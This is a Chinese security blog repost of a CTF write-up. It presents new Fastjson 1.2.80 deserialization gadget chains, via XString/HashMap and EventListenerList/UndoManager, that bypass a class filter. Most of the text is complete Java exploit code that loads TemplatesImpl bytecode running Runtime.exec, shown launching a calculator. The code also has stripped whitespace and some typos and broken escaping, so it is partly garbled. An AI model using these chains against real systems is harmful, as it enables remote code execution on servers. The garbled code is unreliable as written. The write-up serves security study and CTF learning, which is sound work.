高版本Fastjson反序列化Xtring新链和EventListenerList绕过

admin 2024年12月9日13:51:36评论11 views字数 12991阅读43分18秒阅读模式

前言

Fastjson反序列化原生利用是找到一个能够readObject的类,调用toString方法,然后调用toJSONString方法,再调用getter,实现反序列化利用。

最经典利用链:

BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter

但是如果通过重写resolevclass让BadAttributeValueExpException被过滤了,并且Fastjson还是高版本又改如何利用?

2024 CISCN决赛WAF掉BadAttributeValueExpException的高版本Fastjson原生反序列化

当时决赛时候这个Java压轴题最后只有很少的解,现拿来回顾复现探索两条反序列化链成功解决,下面将详细写出几个新的利用链供师傅们学习交流

题目关键源码如下User类

publicclassUserimplementsSerializable{publicStringname;publicMapinfo;publicUser(){}publicMapgetInfo(){returnthis.info;}publicvoidsetInfo(Mapinfo){this.info=info;}publicStringgetName(){returnthis.name;}publicvoidsetName(Stringname){this.name=name;}publicUser(Stringname){this.name=name;}}

反序列化漏洞点

@Mapping("/api")@PostpublicStringapi(Mapmap,Contextctx)throwsException{if(map.size()!=newJSONObject(ctx.body()).length()){return((User)deserialize((String)map.get("data"))).getName();}return"success";}staticObjectdeserialize(Stringdata)throwsException{returnnewObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(data))){// from class: com.example.demo.DemoController.1booleancheck=false;@Override// java.io.ObjectInputStreamprotectedClassresolveClass(ObjectStreamClassdesc)throwsIOException,ClassNotFoundException{Classtargetc=super.resolveClass(desc);if(!this.check&&!User.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}elseif(BadAttributeValueExpException.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}else{this.check=true;returntargetc;}}}.readObject();}}

观察发现禁用了BadAttributeValueExpException并且必须为User的子类

pom.xml

<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.noear</groupId> <artifactId>solon-parent</artifactId> <version>2.8.4</version> <relativePath /> </parent> <groupId>com.example</groupId> <artifactId>solon_master</artifactId> <version>1.0</version> <packaging>jar</packaging> <description>Demo project for Solon</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.noear</groupId> <artifactId>solon-api</artifactId> </dependency> <dependency> <groupId>org.noear</groupId> <artifactId>solon.logging.logback</artifactId> </dependency> <dependency> <groupId>org.noear</groupId> <artifactId>solon-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.json</groupId> <artifactId>json</artifactId> <version>20230618</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>org.noear</groupId> <artifactId>solon.view.freemarker</artifactId> </dependency> </dependencies> <build> <finalName>${project.artifactId}</finalName> <plugins> <plugin> <groupId>org.noear</groupId> <artifactId>solon-maven-plugin</artifactId> </plugin> </plugins> </build> <!-- <repositories> --> <!-- <repository>--> <!-- <id>tencent</id>--> <!-- <url>https://mirrors.cloud.tencent.com/nexus/repository/maven-public/</url>--> <!-- <snapshots>--> <!-- <enabled>false</enabled>--> <!-- </snapshots>--> <!-- </repository>--> <!-- </repositories>--> </project>

依赖中只有fastjson 1.2.80高版本由此想到原生反序列化利用链,但是还有WAF限制需要寻找新的Gadget

Gadget寻找readobject触发tostring

BadAttributeValueExpException->tostring

这条是被题目waf掉的最经典的触发tostring的链子,主要利用代码如下JDK原生可用

packagecom.xiinnn;importcom.xiinnn.template.ToStringClass;importjavax.management.BadAttributeValueExpException;importjava.io.*;importjava.lang.reflect.Field;// BadAttributeValueExpException#readObject -> getterpublicclassBAVEReadObject2ToString{publicstaticvoidmain(String[]args)throwsException{ToStringClasstoStringClass=newToStringClass();BadAttributeValueExpExceptionbave=newBadAttributeValueExpException(null);setFieldValue(bave,"val",toStringClass);byte[]bytes=serialize(bave);unserialize(bytes);}publicstaticvoidsetFieldValue(Objectobj,Stringfield,Objectval)throwsException{FielddField=obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj,val);}publicstaticbyte[]serialize(Objectobj)throwsIOException{ByteArrayOutputStreambaos=newByteArrayOutputStream();ObjectOutputStreamoos=newObjectOutputStream(baos);oos.writeObject(obj);returnbaos.toByteArray();}publicstaticvoidunserialize(byte[]bytes)throwsIOException,ClassotFoundException,ClassNotFoundException{ByteArrayInputStreambais=newByteArrayInputStream(bytes);ObjectInputStreamois=newObjectInputStream(bais);ois.readObject();}}

HotSwappableTargetSource#equals-> toString

利用这一个HotSwappableTargetSource新链通过equal触发tostring

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

HotSwappableTargetSource 是在 Spring AOP 中出现的一个类是spring 原生的 toString 利用链。

依赖条件 ● jackson-databind、spring-aopHotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法:

@Override public boolean equals(Object other) { return (this == other || (other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource) other).target))); }

this.target 可以在构造方法中赋值:

public HotSwappableTargetSource(Object initialTarget) { Assert.notNull(initialTarget, "Target object must not be null"); this.target = initialTarget; }

gadget代码如下

publicstaticvoidmain(String[]args)throwsException{Objecttemplatesimpl=null;JSONObjectjsonObject=newJSONObject();jsonObject.put("g","m");JSONObjectjsonObject1=newJSONObject();jsonObject1.put("g",templatesimpl);HotSwappableTargetSourcev1=newHotSwappableTargetSource(jsonObject);HotSwappableTargetSourcev2=newHotSwappableTargetSource(newXString("x"));HashMap<Object,Object>hashMap=newHashMap<>();hashMap.put(v1,v1);hashMap.put(v2,v2);setValue(v1,"target",jsonObject1);// 用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker/* HashMap<Object,Object> hhhhashMap = new HashMap<>();hhhhashMap.put(tpl,hashMap);*/serialize(hashMap);unserialize("ser.bin");}publicstaticvoidsetValue(Objectobj,Stringfield,Objectvalue)throwsException{Fieldf=obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj,value);}publicstaticvoidserialize(Objectobj)throwsIOException{ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);}publicstaticObjectunserialize(StringFilename)throwsIOException,ClassNotFoundException{ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));Objectobj=ois.readObject();returnobj;}

Xtring利用链绕过

在XString#equals方法中,调用了obj2的toString()方法

高版本Fastjson反序列化Xtring新链和EventListenerList绕过

那么我们前面可以用CC7的Hashmap#readobject触发equal的链子,然后XString#equal触发JSON的toString方法即可完成链子

但是由于是高版本fastjson,我们需要使用引用绕过:

List<Object>arrays=newArrayList<>();arrays.add(templates);JSONArrayjsonArray=newJSONArray();jsonArray.add(templates);arrays.add(getXString(jsonArray));Map<String,Object>map=newHashMap<>();map.put("yy",arrays);

User类刚好有一个map属性可以利用,同时将hashmap放进User的属性里面

Useruser=newUser();user.setInfo(map);

完整链子如下:

packageexp;importcom.alibaba.fastjson.JSONArray;importcom.example.demo.User;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xpath.internal.objects.XString;importjavax.management.BadAttributeValueExpException;importjava.io.*;importjava.util.*;import staticexp.Poc.genPayload;import staticexp.Poc.setValue;publicclassExp{publicstaticHashMapgetXString(Objectobj)throwsException{XStringxstring=newXString("");HashMaphashMap1=newHashMap();HashMaphashMap2=newHashMap();hashMap1.put("yy",xstring);hashMap1.put("zZ",obj);hashMap2.put("zZ",xstring);hashMap2.put("yy",obj);HashMaphashMap=newHashMap();hashMap.put(hashMap1,1);hashMap.put(hashMap2,2);returnhashMap;}publicstaticObjectgetPayload()throwsException{Stringcommand="open -a calculator";TemplatesImpltemplates=TemplatesImpl.class.newInstance();setValue(templates,"_bytecodes",newbyte[][]{genPayload("calc")});setValue(templates,"_name","xxx");setValue(templates,"_tfactory",null);List<Object>arrays=newArrayList<>();arrays.add(templates);JSONArrayjsonArray=newJSONArray();jsonArray.add(templates);arrays.add(getXString(jsonArray));Map<String,Object>map=newHashMap<>();map.put("yy",arrays);Useruser=newUser();user.setInfo(map);returnuser;}publicstaticbyte[]serialize(finalObjectobj)throwsIOException{finalByteArrayOutputStreamout=newByteArrayOutputStream();finalObjectOutputStreamobjOut=newObjectOutputStream(out);objOut.writeObject(obj);returnout.toByteArray();}staticObjectdeserialize(Stringdata)throwsException{returnnewObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(data))){// from class: com.example.demo.DemoController.1booleancheck=false;@Override// java.io.ObjectInputStreamprotectedClassresolveClass(ObjectStreamClassdesc)throwsIOException,ClassNotFoundException{Classtargetc=super.resolveClass(desc);if(!this.check&&!User.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}elseif(BadAttributeValueExpException.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}else{this.check=true;returntargetc;}}}.readObject();}publicstaticvoidmain(String[]args)throwsException{Objectobj=getPayload();byte[]payload=serialize(obj);// deserialize(payload);deserialize(Base64.getEncoder().encodeToString(payload));}}

eventListenerList利用链绕过

前半段链子使用eventListenerList触发toString

EventListenerList--> UndoManager#toString() -->Vector#toString()

后半段仍为json触发TemplatesImpl利用链

JSONArray#toString -> JSONArray#toJSONString -> getter#toString

payload如下:

packageexp;importcom.alibaba.fastjson.JSONArray;importjavax.management.BadAttributeValueExpException;importjavax.swing.event.EventListenerList;importjavax.swing.undo.UndoManager;importjava.io.*;importjava.lang.reflect.Field;importjava.util.Base64;importjava.util.HashMap;importjava.util.Vector;importcom.example.demo.User;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importjavassist.ClassPool;importjavassist.CtClass;importjavassist.CtConstructor;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;publicclassPoc{publicstaticvoidsetValue(Objectobj,Stringname,Objectvalue)throwsException{Fieldfield=obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj,value);}publicstaticbyte[]genPayload(Stringcmd)throwsException{//恶意类ClassPoolpool=ClassPool.getDefault();CtClassclazz=pool.makeClass("a");CtClasssuperClass=pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructorconstructor=newCtConstructor(newCtClass[]{},clazz);constructor.setBody("Runtime.getRuntime().exec(""+cmd+"");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);returnclazz.toBytecode();}publicstaticvoidmain(String[]args)throwsException{//使用链子BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter#toStringTemplatesImpltemplates=TemplatesImpl.class.newInstance();setValue(templates,"_bytecodes",newbyte[][]{genPayload("calc")});setValue(templates,"_name","xxx");setValue(templates,"_tfactory",null);JSONArrayjsonArray=newJSONArray();jsonArray.add(templates);EventListenerListeventListenerList=newEventListenerList();UndoManagerundoManager=newUndoManager();Vectorvector=(Vector)getFieldValue(undoManager,"edits");vector.add(jsonArray);setValue(eventListenerList,"listenerList",newObject[]{InternalError.class,undoManager});HashMaphashMap=newHashMap();hashMap.put(templates,eventListenerList);//使用user类进行序列化Useruser=newUser();user.setInfo(hashMap);byte[]bytes=serialize(user);deserialize(Base64.getEncoder().encodeToString(bytes));}staticObjectdeserialize(Stringdata)throwsException{returnnewObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(data))){// from class: com.example.demo.DemoController.1booleancheck=false;@Override// java.io.ObjectInputStreamprotectedClassresolveClass(ObjectStreamClassdesc)throwsIOException,ClassNotFoundException{Classtargetc=super.resolveClass(desc);if(!this.check&&!User.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}elseif(BadAttributeValueExpException.class.isAssignableFrom(targetc)){thrownewIllegalArgumentException("HackerClass:"+targetc);}else{this.check=true;returntargetc;}}}.readObject();}publicstaticbyte[]serialize(finalObjectobj)throwsIOException{finalByteArrayOutputStreamout=newByteArrayOutputStream();finalObjectOutputStreamobjOut=newObjectOutputStream(out);objOut.writeObject(obj);returnout.toByteArray();}publicstaticFieldgetField(finalClass<?>clazz,finalStringfieldName)throwsException{try{Fieldfield=clazz.getDeclaredField(fieldName);if(field!=null)field.setAccessible(true);elseif(clazz.getSuperclass()!=null)field=getField(clazz.getSuperclass(),fieldName);returnfield;}catch(NoSuchFieldExceptione){if(!clazz.getSuperclass().equals(Object.class)){returngetField(clazz.getSuperclass(),fieldName);}throwe;}}publicstaticObjectgetFieldValue(finalObjectobj,finalStringfieldName)throwsException{finalFieldfield=getField(obj.getClass(),fieldName);returnfield.get(obj);}}

成功弹出计算器完结!

高版本Fastjson反序列化Xtring新链和EventListenerList绕过

转自:https://xz.aliyun.com/t/16540?time__1311=GuD%3DY5BK0K7Iq05DKYYIWL6Fv4AI%2B3oNdx

原文始发于微信公众号(船山信安):高版本Fastjson反序列化Xtring新链和EventListenerList绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日13:51:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高版本Fastjson反序列化Xtring新链和EventListenerList绕过https://cn-sec.com/archives/3483649.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息